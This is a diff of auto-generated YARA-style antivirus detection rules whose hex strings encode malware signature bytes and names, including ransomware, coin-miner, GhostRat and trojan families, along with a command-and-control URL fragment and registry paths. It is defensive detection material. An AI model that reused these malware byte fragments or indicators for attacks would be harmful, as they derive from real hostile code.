"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -155440,7 +165944,7 @@ rule _InfrastructureShared_13716{ ((#a_54_0 & 1)*18467+(#a_d0_1 & 1)*4556+(#a_01_2 & 1)*28420+(#a_00_3 & 1)*100+(#a_00_4 & 1)*99) >=18 } -rule _InfrastructureShared_13717{ +rule _InfrastructureShared_14627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 05 00 21 " @@ -155453,22 +165957,35 @@ rule _InfrastructureShared_13717{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*332+(#a_73_3 & 1)*17409+(#a_00_4 & 1)*31090) >=23 } -rule _InfrastructureShared_13718{ +rule _InfrastructureShared_14628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 08 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4e 57 21 4d 54 42 00 0a 00 0b 81 01 44 70 71 64 67 68 75 74 72 6d 6a 0a 00 0c 81 01 43 6c 61 73 73 4c 69 62 72 61 72 79 01 00 0f 81 01 52 69 6a 6e 64 61 65 } //16675 $a_6e_1 = {67 65 64 01 00 12 81 01 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0c 81 01 43 72 79 70 74 6f 53 74 72 65 61 6d 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0c 81 01 43 72 79 70 } //19820 - $a_72_2 = {70 68 79 00 00 78 c8 00 00 2b 00 2b 00 09 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 72 6f 61 76 2e 47 47 21 4d 54 42 00 0a 00 14 80 01 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 57 0a 00 20 80 01 47 65 74 56 6f 6c 75 6d 65 50 61 74 68 4e 61 6d 65 73 46 6f 72 56 6f 6c 75 6d } //28532 - $a_6d_3 = {57 01 00 04 80 01 2e 4b 45 59 0a 00 0c 80 01 24 52 45 43 59 43 4c 45 2e 42 49 4e 0a 00 08 81 01 52 45 43 4f 56 45 52 59 01 00 09 80 01 4b 61 73 70 65 72 73 6b 79 01 00 06 80 01 4d 63 41 66 65 65 01 00 08 80 01 53 79 6d 61 6e 74 65 63 01 00 10 80 01 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 } //20069 - $a_00_6 = {07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 64 00 11 00 61 6a 2f 64 65 61 63 74 69 76 61 74 65 2e 70 68 70 0a 00 15 00 46 72 65 65 77 6f 72 6b 7a 20 55 6e 69 6e 73 74 61 6c 6c 65 72 0a 00 17 00 50 6c 61 79 20 50 69 63 6b 6c 65 20 55 6e 69 6e 73 74 61 6c 6c 65 72 0a 00 16 00 4c 69 76 69 6e 67 50 } //111 - $a_20_7 = {6e 69 6e 73 74 61 6c 6c 65 72 01 00 12 02 66 72 65 65 77 6f 72 6b 7a 90 02 08 2e 64 6c 6c 90 00 01 00 13 00 70 6c 61 79 70 69 63 6b 6c 65 62 61 72 33 32 2e 64 6c 6c 01 00 13 00 6c 69 76 69 6e 67 70 6c 61 79 6c 69 62 33 32 2e 64 6c 6c 00 00 78 c9 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 4c 69 6e 65 53 74 65 61 6c } //24940 + $a_72_2 = {70 68 79 00 00 78 c8 00 00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 69 6e 4d 69 6e 65 72 2e 53 58 21 4d 54 42 00 14 00 46 03 48 89 54 24 30 48 89 44 24 28 48 89 4c 24 20 4c 8d 4d 10 4c 8d 05 90 01 04 8a 55 08 48 8d 8d c0 01 00 00 e8 90 01 04 4c 8d 85 c0 01 00 00 48 39 } //28532 + $a_00_3 = {00 } //-10083 + $a_85_4 = {01 00 00 8d 53 f2 33 c9 ff d6 90 00 0a 00 38 03 45 8b 69 20 45 03 d4 4b 8d 0c 90 01 01 42 8b 14 29 49 03 d0 41 bb 90 01 04 8a 0a 48 ff c2 84 c9 74 1f 0f be c9 41 33 cb 44 69 d9 43 01 00 00 8a 0a 48 ff c2 84 c9 90 } //3916 + $a_5c_6 = {53 56 43 50 90 01 02 2e 44 4c 4c 90 00 00 00 78 c8 00 00 2b 00 2b 00 09 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 72 6f 61 76 2e 47 47 21 4d 54 42 00 0a 00 14 80 01 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 57 0a 00 20 80 01 47 65 74 56 6f } //14915 + $a_65_7 = {61 74 68 4e 61 6d 65 73 46 6f 72 56 6f 6c 75 6d 65 4e 61 6d 65 57 01 00 04 80 01 2e 4b 45 59 0a 00 0c 80 01 24 52 45 43 59 43 4c 45 2e 42 49 4e 0a 00 08 81 01 52 45 43 4f 56 45 52 59 01 00 09 80 01 4b 61 73 70 65 72 73 6b 79 01 00 06 80 01 4d 63 41 66 65 65 01 00 08 80 01 53 79 6d 61 6e 74 65 63 01 00 10 80 01 57 69 6e 64 6f } //30060 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*19820+(#a_72_2 & 1)*28532+(#a_6d_3 & 1)*20069+(#a_00_6 & 1)*111+(#a_20_7 & 1)*24940) >=26 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*19820+(#a_72_2 & 1)*28532+(#a_00_3 & 1)*-10083+(#a_85_4 & 1)*3916+(#a_5c_6 & 1)*14915+(#a_65_7 & 1)*30060) >=26 } -rule _InfrastructureShared_13719{ +rule _InfrastructureShared_14629{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 69 6e 4d 69 6e 65 72 2e 53 58 21 4d 54 42 00 14 00 46 03 48 89 54 24 30 48 89 44 24 28 48 89 4c 24 20 4c 8d 4d 10 4c 8d 05 90 01 04 8a 55 08 48 8d 8d c0 01 00 00 } //21539 + $a_04_1 = {4c } //-28440 L + $a_01_2 = {00 00 48 39 9d d8 01 00 00 4c 0f 47 85 c0 01 00 00 8d 53 f2 33 c9 ff d6 90 00 0a 00 38 03 45 8b 69 20 45 03 d4 4b 8d 0c 90 01 01 42 8b 14 29 49 03 d0 41 bb 90 01 04 8a 0a 48 ff c2 84 c9 74 1f 0f be c9 41 33 cb 44 69 d9 43 01 00 00 8a 0a 48 ff c2 84 c9 90 00 05 00 12 03 43 3a 5c 5c 4d 53 56 43 50 90 01 02 2e 44 4c 4c 90 00 00 00 78 c8 00 00 2b 00 2b 00 09 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 72 6f 61 76 2e 47 47 21 4d 54 42 00 0a 00 14 80 01 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 57 0a 00 20 80 01 47 65 74 56 6f 6c 75 6d 65 50 } //-31347 + condition: + ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-28440+(#a_01_2 & 1)*-31347) >=35 + +} +rule _InfrastructureShared_14630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2b 00 2b 00 09 00 21 " @@ -155486,7 +166003,7 @@ rule _InfrastructureShared_13719{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*22130+(#a_00_2 & 1)*111+(#a_20_3 & 1)*24940+(#a_61_4 & 1)*29285+(#a_03_5 & 1)*1+(#a_c9_6 & 1)*0+(#a_90_7 & 1)*-29704+(#a_55_8 & 1)*1025) >=43 } -rule _InfrastructureShared_13720{ +rule _InfrastructureShared_14631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,6f 00 6f 00 07 00 21 " @@ -155500,7 +166017,7 @@ rule _InfrastructureShared_13720{ ((#a_77_0 & 1)*16675+(#a_6c_1 & 1)*26478+(#a_00_3 & 1)*0+(#a_3a_5 & 1)*19521+(#a_13_6 & 1)*5008) >=111 } -rule _InfrastructureShared_13721{ +rule _InfrastructureShared_14632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -155511,7 +166028,7 @@ rule _InfrastructureShared_13721{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*2114) >=1 } -rule _InfrastructureShared_13722{ +rule _InfrastructureShared_14633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -155523,7 +166040,7 @@ rule _InfrastructureShared_13722{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*-1855+(#a_55_2 & 1)*806) >=1 } -rule _InfrastructureShared_13723{ +rule _InfrastructureShared_14634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -155534,7 +166051,7 @@ rule _InfrastructureShared_13723{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-30205) >=2 } -rule _InfrastructureShared_13724{ +rule _InfrastructureShared_14635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -155545,7 +166062,7 @@ rule _InfrastructureShared_13724{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*4449) >=2 } -rule _InfrastructureShared_13725{ +rule _InfrastructureShared_14636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -155557,7 +166074,7 @@ rule _InfrastructureShared_13725{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*25700+(#a_73_2 & 1)*25449) >=2 } -rule _InfrastructureShared_13726{ +rule _InfrastructureShared_14637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -155569,7 +166086,7 @@ rule _InfrastructureShared_13726{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_00_2 & 1)*101) >=2 } -rule _InfrastructureShared_13727{ +rule _InfrastructureShared_14638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -155581,7 +166098,7 @@ rule _InfrastructureShared_13727{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*14150+(#a_33_2 & 1)*24388) >=2 } -rule _InfrastructureShared_13728{ +rule _InfrastructureShared_14639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -155593,7 +166110,7 @@ rule _InfrastructureShared_13728{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116+(#a_6e_3 & 1)*28515) >=2 } -rule _InfrastructureShared_13729{ +rule _InfrastructureShared_14640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -155608,7 +166125,7 @@ rule _InfrastructureShared_13729{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28777+(#a_23_2 & 1)*3+(#a_69_3 & 1)*28486+(#a_84_4 & 1)*28164+(#a_72_5 & 1)*270) >=2 } -rule _InfrastructureShared_13730{ +rule _InfrastructureShared_14641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -155620,7 +166137,7 @@ rule _InfrastructureShared_13730{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*8206+(#a_81_2 & 1)*400) >=3 } -rule _InfrastructureShared_13731{ +rule _InfrastructureShared_14642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -155633,7 +166150,7 @@ rule _InfrastructureShared_13731{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637+(#a_90_2 & 1)*11617+(#a_44_3 & 1)*0) >=3 } -rule _InfrastructureShared_13732{ +rule _InfrastructureShared_14643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -155645,7 +166162,7 @@ rule _InfrastructureShared_13732{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*9284+(#a_90_3 & 1)*-255) >=3 } -rule _InfrastructureShared_13733{ +rule _InfrastructureShared_14644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -155658,7 +166175,7 @@ rule _InfrastructureShared_13733{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29795+(#a_00_3 & 1)*0+(#a_41_4 & 1)*8448) >=3 } -rule _InfrastructureShared_13734{ +rule _InfrastructureShared_14645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -155670,7 +166187,7 @@ rule _InfrastructureShared_13734{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-29245+(#a_52_4 & 1)*21320) >=3 } -rule _InfrastructureShared_13735{ +rule _InfrastructureShared_14646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -155685,7 +166202,7 @@ rule _InfrastructureShared_13735{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24910+(#a_23_2 & 1)*2+(#a_55_3 & 1)*15872+(#a_01_4 & 1)*-28571+(#a_45_6 & 1)*22528) >=3 } -rule _InfrastructureShared_13736{ +rule _InfrastructureShared_14647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -155696,7 +166213,7 @@ rule _InfrastructureShared_13736{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28492) >=4 } -rule _InfrastructureShared_13737{ +rule _InfrastructureShared_14648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -155708,7 +166225,7 @@ rule _InfrastructureShared_13737{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26967+(#a_48_2 & 1)*8448) >=4 } -rule _InfrastructureShared_13738{ +rule _InfrastructureShared_14649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -155721,7 +166238,7 @@ rule _InfrastructureShared_13738{ ((#a_54_0 & 1)*18467+(#a_1b_1 & 1)*23653+(#a_00_2 & 1)*9388+(#a_00_3 & 1)*-27974) >=4 } -rule _InfrastructureShared_13739{ +rule _InfrastructureShared_14650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -155733,7 +166250,7 @@ rule _InfrastructureShared_13739{ ((#a_4c_0 & 1)*21539+(#a_2e_2 & 1)*17606+(#a_89_3 & 1)*9340) >=4 } -rule _InfrastructureShared_13740{ +rule _InfrastructureShared_14651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0e 00 21 " @@ -155743,27 +166260,40 @@ rule _InfrastructureShared_13740{ $a_00_2 = {06 01 } //37 Ć $a_d0_3 = {00 02 00 06 01 81 c2 2d 13 7a 00 02 00 05 01 ba b8 53 3f 00 02 00 06 01 81 c2 95 06 51 00 02 00 05 01 ba b7 53 3f 00 02 00 06 01 81 c2 96 06 51 00 02 00 05 01 ba 77 11 30 00 02 00 06 01 81 c2 d6 48 60 00 02 00 05 01 68 d7 32 90 00 02 00 06 01 81 c2 76 27 00 00 00 00 78 c9 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 42 61 64 75 72 2e 41 44 21 4d 54 42 00 04 00 71 01 40 55 48 8b ec 48 83 ec 50 c7 45 d0 54 3b 49 3b 33 c0 c7 45 d4 4a 3b 4f 3b ba 3c 3b 00 00 c7 45 d8 33 3b 7b 3b c7 45 dc 6d 3b 6c 3b c7 45 e0 74 3b 70 3b c7 45 e4 72 3b 76 3b c7 45 e8 7a 3b 67 3b c7 45 ec 24 3b 2e 3b c7 45 f0 38 3b 62 3b c7 45 f4 34 3b 22 3b c7 45 f8 3d 3b 00 00 c6 45 fc 01 8d 0c } //-15743 $a_4c_4 = {d0 48 ff c0 48 83 f8 15 72 01 00 26 01 4d 40 63 46 6d 42 45 56 31 6a 41 4a 28 66 5c 6f 4c 41 78 47 44 51 78 47 44 51 6c 5a 74 6f 2e 77 49 31 6a 51 } //26114 - $a_00_7 = {05 00 21 23 41 } //5 - $a_54_8 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 68 6f 73 74 52 61 74 2e 52 42 21 4d 53 52 00 01 00 2a 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 68 00 69 00 76 00 6e 00 64 00 2e } //17996 - $a_00_10 = {61 00 70 00 69 00 01 00 2e 01 26 00 73 00 68 00 65 00 6c 00 6c 00 3d 00 62 00 61 00 63 00 6b 00 73 00 65 00 73 00 73 00 69 00 6f 00 6e 00 2e } //109 - $a_00_12 = {01 00 10 00 63 72 65 61 74 65 53 6d 61 6c 6c 53 68 65 6c 6c 01 00 10 00 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 11 80 01 41 63 74 69 76 69 65 4e 65 74 77 6f 72 6b 69 6e 67 00 00 78 c9 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 61 72 64 5f 43 6f 6e 66 69 67 75 72 61 74 6f 72 00 01 00 10 80 01 41 75 74 6f 49 74 20 49 6e 70 75 } //112 - $a_6f_13 = {01 00 45 80 01 46 75 6e 63 20 72 65 61 73 73 69 67 6e 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 2a 46 75 6e 63 20 72 65 61 73 73 69 67 6e 20 6f 6e 20 67 6c 6f 62 61 6c 20 6c 65 76 65 6c 20 6e 6f 74 20 } //8308 + $a_00_7 = {03 00 21 23 48 } //5 + $a_3a_8 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 4e 41 21 4d 54 42 00 03 00 24 01 74 24 c6 45 f7 7d eb 18 ff 4d fc ff 4d f8 8b 5d f8 b8 00 00 00 00 8a 03 2a 45 f7 88 03 88 45 f7 83 7d fc 00 01 00 60 01 53 00 4f 00 46 00 54 00 57 00 41 } //21587 + $a_00_10 = {69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 53 00 61 00 74 00 6c 00 65 00 6d 00 01 } //92 + $a_77_11 = {62 } //3584 b + $a_73_12 = {2d 73 69 74 65 73 00 00 78 c9 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 68 6f 73 74 52 61 74 2e 52 42 21 4d 53 52 00 01 00 2a 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 68 00 69 00 76 00 6e 00 64 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 70 00 69 00 01 00 2e 01 26 00 73 00 68 00 65 00 } //26669 + $a_00_13 = {3d 00 62 00 61 00 63 00 6b 00 73 00 65 00 73 00 73 00 69 00 6f 00 6e 00 2e 00 61 00 73 00 70 00 78 00 01 00 10 00 63 72 65 61 74 65 53 6d 61 6c 6c 53 68 65 6c 6c 01 00 10 00 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 11 80 01 41 63 74 69 76 69 65 4e 65 74 77 6f 72 6b 69 6e 67 00 00 78 c9 00 00 05 00 05 00 05 00 } //108 condition: - ((#a_54_0 & 1)*18467+(#a_ba_1 & 1)*1280+(#a_00_2 & 1)*37+(#a_d0_3 & 1)*-15743+(#a_4c_4 & 1)*26114+(#a_00_7 & 1)*5+(#a_54_8 & 1)*17996+(#a_00_10 & 1)*109+(#a_00_12 & 1)*112+(#a_6f_13 & 1)*8308) >=4 + ((#a_54_0 & 1)*18467+(#a_ba_1 & 1)*1280+(#a_00_2 & 1)*37+(#a_d0_3 & 1)*-15743+(#a_4c_4 & 1)*26114+(#a_00_7 & 1)*5+(#a_3a_8 & 1)*21587+(#a_00_10 & 1)*92+(#a_77_11 & 1)*3584+(#a_73_12 & 1)*26669+(#a_00_13 & 1)*108) >=4 } -rule _InfrastructureShared_13741{ +rule _InfrastructureShared_14652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 42 61 64 75 72 2e 41 44 21 4d 54 42 00 04 00 71 01 40 55 48 8b ec 48 83 ec 50 c7 45 d0 54 3b 49 3b 33 c0 c7 45 d4 4a 3b 4f 3b ba 3c 3b 00 00 c7 45 d8 33 3b 7b 3b c7 45 dc 6d 3b 6c 3b c7 45 e0 74 3b 70 3b } //18467 - $a_72_1 = {76 3b c7 45 e8 7a 3b 67 3b c7 45 ec 24 3b 2e 3b c7 45 f0 38 3b 62 3b c7 45 f4 34 3b 22 3b c7 45 f8 3d 3b 00 00 c6 45 fc 01 8d 0c 02 66 31 4c 45 d0 48 ff c0 48 83 f8 15 72 01 00 26 01 4d 40 63 46 6d 42 45 56 31 6a 41 4a 28 66 5c 6f 4c 41 78 47 44 51 78 47 44 51 6c 5a 74 6f 2e 77 49 31 6a 51 34 6d 00 00 78 c9 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 68 6f 73 74 52 61 74 2e 52 42 21 4d 53 52 00 01 00 2a 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 68 00 69 00 76 00 6e 00 64 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 70 00 69 00 01 00 2e 01 26 00 73 00 68 00 65 00 6c 00 6c 00 3d 00 62 00 61 00 63 00 6b 00 73 00 65 00 73 00 73 00 69 00 } //17863 + $a_72_1 = {76 3b c7 45 e8 7a 3b 67 3b c7 45 ec 24 3b 2e 3b c7 45 f0 38 3b 62 3b c7 45 f4 34 3b 22 3b c7 45 f8 3d 3b 00 00 c6 45 fc 01 8d 0c 02 66 31 4c 45 d0 48 ff c0 48 83 f8 15 72 01 00 26 01 4d 40 63 46 6d 42 45 56 31 6a 41 4a 28 66 5c 6f 4c 41 78 47 44 51 78 47 44 51 6c 5a 74 6f 2e 77 49 31 6a 51 34 6d 00 00 78 c9 00 00 05 00 05 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 4e 41 21 4d 54 42 00 03 00 24 01 74 24 c6 45 f7 7d eb 18 ff 4d fc ff 4d f8 8b 5d f8 b8 00 00 00 00 8a 03 2a 45 f7 88 03 88 45 f7 83 7d fc 00 01 00 60 01 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 } //17863 condition: ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*17863) >=5 } -rule _InfrastructureShared_13742{ +rule _InfrastructureShared_14653{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 4e 41 21 4d 54 42 00 03 00 24 01 74 24 c6 45 f7 7d eb 18 ff 4d fc ff 4d f8 8b 5d f8 b8 00 00 00 00 8a 03 2a 45 f7 88 03 88 45 f7 83 7d fc 00 01 00 60 01 53 00 4f 00 46 00 54 00 57 00 } //18467 + $a_00_1 = {45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 53 00 61 00 74 00 6c 00 65 00 6d 00 } //65 E\Microsoft\Windows\CurrentVersion\Satlem + $a_01_2 = {77 65 62 2d 68 6f 73 74 2d 73 69 74 65 73 } //1 web-host-sites + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65+(#a_01_2 & 1)*1) >=5 + +} +rule _InfrastructureShared_14654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -155776,7 +166306,7 @@ rule _InfrastructureShared_13742{ ((#a_46_0 & 1)*16675+(#a_26_1 & 1)*11776+(#a_00_3 & 1)*108+(#a_6c_4 & 1)*8993) >=5 } -rule _InfrastructureShared_13743{ +rule _InfrastructureShared_14655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -155790,7 +166320,7 @@ rule _InfrastructureShared_13743{ ((#a_6c_0 & 1)*16675+(#a_61_1 & 1)*29807+(#a_68_2 & 1)*26999+(#a_74_3 & 1)*18177+(#a_70_4 & 1)*29264) >=5 } -rule _InfrastructureShared_13744{ +rule _InfrastructureShared_14656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -155803,7 +166333,7 @@ rule _InfrastructureShared_13744{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*13860+(#a_00_3 & 1)*0+(#a_54_4 & 1)*18467) >=5 } -rule _InfrastructureShared_13745{ +rule _InfrastructureShared_14657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -155815,7 +166345,7 @@ rule _InfrastructureShared_13745{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*9475+(#a_00_4 & 1)*97) >=5 } -rule _InfrastructureShared_13746{ +rule _InfrastructureShared_14658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -155828,7 +166358,7 @@ rule _InfrastructureShared_13746{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*2304+(#a_69_2 & 1)*28767+(#a_41_4 & 1)*8448) >=5 } -rule _InfrastructureShared_13747{ +rule _InfrastructureShared_14659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -155844,7 +166374,7 @@ rule _InfrastructureShared_13747{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28516+(#a_46_2 & 1)*21283+(#a_02_4 & 1)*-28636+(#a_24_5 & 1)*10496+(#a_01_6 & 1)*9284+(#a_69_7 & 1)*25708) >=5 } -rule _InfrastructureShared_13748{ +rule _InfrastructureShared_14660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -155854,7 +166384,7 @@ rule _InfrastructureShared_13748{ ((#a_46_0 & 1)*21283) >=6 } -rule _InfrastructureShared_13749{ +rule _InfrastructureShared_14661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -155866,21 +166396,34 @@ rule _InfrastructureShared_13749{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*27759+(#a_5c_2 & 1)*13924) >=6 } -rule _InfrastructureShared_13750{ +rule _InfrastructureShared_14662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 6d 61 6d 62 72 65 74 6f 72 00 01 00 12 01 5c 00 2e 00 5c 00 64 00 63 00 72 00 79 00 70 00 74 00 01 00 12 01 5c 00 5c 00 2e 00 5c 00 54 00 63 00 57 00 64 00 65 00 01 00 2e 01 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 64 00 63 00 72 00 79 00 70 00 74 00 } //25635 $a_00_1 = {6f 00 6e 00 66 00 69 00 67 00 02 00 14 01 64 00 63 00 72 00 79 00 70 00 74 00 2e 00 73 00 79 00 73 00 02 00 22 01 44 00 49 00 53 00 4b 00 43 00 52 00 59 00 50 00 54 00 4f 00 52 00 5f 00 4d 00 55 00 54 00 45 00 58 00 00 00 78 c9 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 } //92 - $a_64_2 = {72 2e 4b 4d 4e 50 31 32 33 21 4d 54 42 00 01 00 13 81 01 66 61 72 76 65 64 61 74 61 62 61 73 65 20 62 79 64 65 73 01 00 23 81 01 70 72 6f 6d 70 74 69 6e 67 20 66 6f 72 70 6c 61 64 65 72 20 6b 69 6c 64 65 6d 61 74 65 72 69 61 6c 65 72 01 00 0e 81 01 73 6e 61 70 68 65 61 64 20 6f 78 65 79 65 } //28524 